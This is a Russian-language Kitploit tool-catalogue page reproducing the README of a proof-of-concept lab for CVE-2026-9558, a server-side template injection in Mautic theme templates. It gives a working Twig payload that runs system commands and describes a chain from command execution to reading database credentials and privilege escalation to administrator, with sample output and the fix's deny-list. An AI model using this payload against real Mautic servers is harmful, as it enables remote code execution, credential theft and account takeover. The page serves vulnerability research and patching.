Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-9558-poc — Эксплуатационный PoC для CVE-2026-9558 (SSTI Mautic Theme) | Kitploit
Инструменты/GitHubGitHub/covepseng/cve-2026-9558-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubcovepseng/cve-2026-9558-poc

cve-2026-9558-poc

Эксплуатационный PoC для CVE-2026-9558 (SSTI Mautic Theme)

Репозиторий
192 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-9558 — Внедрение шаблонов на стороне сервера (SSTI) в темы Mautic для полного захвата администратора

Содержание

  • Обзор
  • Затронутые версии
  • Коренная причина
  • Анализ
  • Структура репозитория
  • Требования
  • Использование
  • Ожидаемый вывод
  • Ссылки
  • Отказ от ответственности

Обзор

CVE-2026-9558 — это уязвимость внедрения шаблонов на стороне сервера (SSTI) в движке тем Mautic. Темы, загружаемые через Менеджер тем, являются ZIP-архивами, содержащими шаблоны Twig, и в затронутых версиях эти шаблоны обрабатываются стандартным окружением Twig приложения без политики SandboxExtension.

Поскольку Twig может вызывать произвольные PHP-функции через такие фильтры, как map, filter и reduce, аутентифицированный пользователь с правами на загрузку тем может установить тему, шаблон которой выполняет произвольную системную команду сразу после рендеринга — что происходит автоматически при первом открытии редактора электронных писем или целевых страниц с этой темой.

{{ ["id"] | map("system") | join }}

Затронутые версии

Затронутый диапазонИсправлено в
>= 1.3.0, < 4.4.134.4.13 (4.4.20 через ELTS)
>= 5.0.0, < 5.2.115.2.11
>= 6.0.0, < 6.0.96.0.9
>= 7.0.0, < 7.1.27.1.2

Данная лаборатория нацелена на 7.1.1, последний выпуск перед исправлением.


Коренная причина

Документация разработчика Mautic утверждает, что шаблоны тем обрабатываются в ограниченной песочнице Twig:

Mautic обрабатывает загруженные пользователем шаблоны тем в ограниченной среде песочницы Twig. Песочница блокирует определенные функции и фильтры, которые могут привести к удаленному выполнению кода, утечке данных или исследованию файловой системы.

В затронутых версиях такой политики песочницы не существует. Исправление (7.1.2) вводит ThemeSandboxPolicy.php, реализацию SecurityPolicyInterface на основе черного списка, которая блокирует фильтры map, filter и reduce, а также набор функций, включая source() (чтение произвольных файлов) и configGetParameter() (утечка учетных данных БД и секретного ключа приложения). Встроенный комментарий в исправлении документирует точную форму полезной нагрузки, используемую в этом PoC:

private const DENIED_FILTERS = [
    'map',    // {{ ['id']|map('system')|join }} -> RCE
    'reduce',
    'filter',
];

До этой политики никаких подобных ограничений на пути рендеринга тем не существовало.


Анализ

Цепочка была проверена от начала до конца с использованием учетной записи с низкими привилегиями, имеющей только группы разрешений Темы (создание/редактирование) и Электронные письма (создание/редактирование) — не Администратор — чтобы соответствовать предусловию PR:L в векторе CVSS уведомления.

  1. Выполнение команд — загрузка измененной темы и открытие редактора писем выполняет вызовы system(), встроенные в .twig-файл темы.
  2. Кража учетных данных — тот же примитив читает собственный config/local.php Mautic, раскрывая учетные данные базы данных и secret_key приложения в открытом виде.
  3. Повышение привилегий — украденные учетные данные базы данных используются для открытия прямого PDO-соединения из полезной нагрузки SSTI и повышения привилегий низкопривилегированной учетной записи до role_id 1 (Администратор), полностью обходя проверки разрешений на уровне приложения Mautic.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
rows_updated=1
confirm: 2|priv-esc|1

Предварительные условия, подтвержденные эмпирически

В уведомлении указано PR:L. Данная лабораторная работа подтверждает конкретное низкопривилегированное предварительное условие на практике: для достижения триггера рендеринга требуются как права на загрузку тем, так и права на создание писем, а не одно общее низкое разрешение. Никаких обходных путей, кроме официального исправления, не существует; единственная задокументированная мера смягчения — ограничение core:themes:create только доверенными администраторами.


Структура репозитория

cve-2026-9558-poc/
├── podman-compose.yml       # MariaDB + Mautic 7.1.1-apache, изолированная мостовая сеть
├── Dockerfile.mautic        # фиксирует официальный образ на уязвимой версии
├── install.sh               # неинтерактивная загрузка mautic:install
└── sparse/
    ├── config.json           # манифест вредоносной темы
    ├── sparse.zip            # тема готовая к загрузке
    └── html/
        ├── email.html.twig   # шаблон полезной нагрузки SSTI. Смотрите конец файла, где находится placeholder для внедрения произвольных команд.
        ├── ...               # Другие .twig файлы
        └── .../              # Другие директории (например css)

Требования

ИнструментВерсияПримечания
Podman≥ 4.0требуется podman-compose
curlлюбаяиспользуется install.sh для опроса готовности

Эксплуатация в данном PoC выполняется вручную через веб-интерфейс Mautic (загрузка через Менеджер тем → редактор электронных писем), что соответствует реальному рабочему процессу атакующего: загрузка темы — это файловая операция, а не вызов API, который стоило бы автоматизировать на этом этапе анализа.


Использование

1. Сборка и запуск лаборатории

podman-compose up -d
./install.sh

install.sh ожидает, пока контейнер приложения начнет принимать соединения, затем запускает mautic:install в неинтерактивном режиме для создания первой учетной записи Администратора.

2. Создание низкопривилегированной учетной записи

В интерфейсе создайте пользовательскую роль с включенными только Темы (создание/редактирование) и Электронные письма (создание/редактирование), и назначьте пользователя на эту роль. Это воспроизводит предусловие PR:L вместо тестирования от имени Администратора.

3. Загрузка вредоносной темы

Войдите в систему как низкопривилегированный пользователь. В разделе Темы → Загрузить загрузите ZIP-архив, созданный из sparse/config.json и sparse/html/page.html.twig (или измененную копию любой встроенной темы с добавленной строкой полезной нагрузки в её .twig-файл).

4. Запуск рендеринга

В разделе Каналы → Электронные письма → Создать, выберите загруженную тему в качестве шаблона и откройте редактор. Полезная нагрузка выполняется сразу после рендеринга темы для предпросмотра.

5. Очистка

podman-compose down -v

Ожидаемый вывод

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ссылки

Скачать инструмент